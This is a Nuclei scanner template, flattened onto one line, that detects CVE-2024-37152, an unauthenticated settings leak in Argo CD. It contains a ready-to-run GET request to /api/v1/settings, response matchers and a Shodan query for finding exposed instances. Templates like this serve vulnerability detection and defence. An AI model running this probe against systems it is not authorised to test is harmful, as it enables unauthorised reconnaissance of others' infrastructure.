id: CVE-2024-37152 info: name: Argo CD Unauthenticated Access to sensitive setting author: DhiyaneshDk severity: medium description: | Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The vulnerability allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication. All sensitive settings are hidden except passwordPattern. reference: - https://github.com/argoproj/argo-cd/security/advisories/GHSA-87p9-x75h-p4j2 - https://nvd.nist.gov/vuln/detail/CVE-2024-37152 metadata: verified: true max-request: 1 shodan-query: html:"Argo CD" tags: cve,cve2024,argo-cd,info-leak http: - raw: - | GET /api/v1/settings HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - '"passwordPattern":' - '"appLabelKey":' condition: and - type: word part: content_type words: - 'application/json' - type: status status: - 200 # digest: 4b0a00483046022100ff51e4d4de0176d7b75272c7382661952fa7f28124b1a6113d2d52675ba7d7ca022100dc729bfc997db746bf206fe0a1ae9ef36b3af92ebad27d690c90a41b636944aa:922c64590222798bb761d5b6d8e72950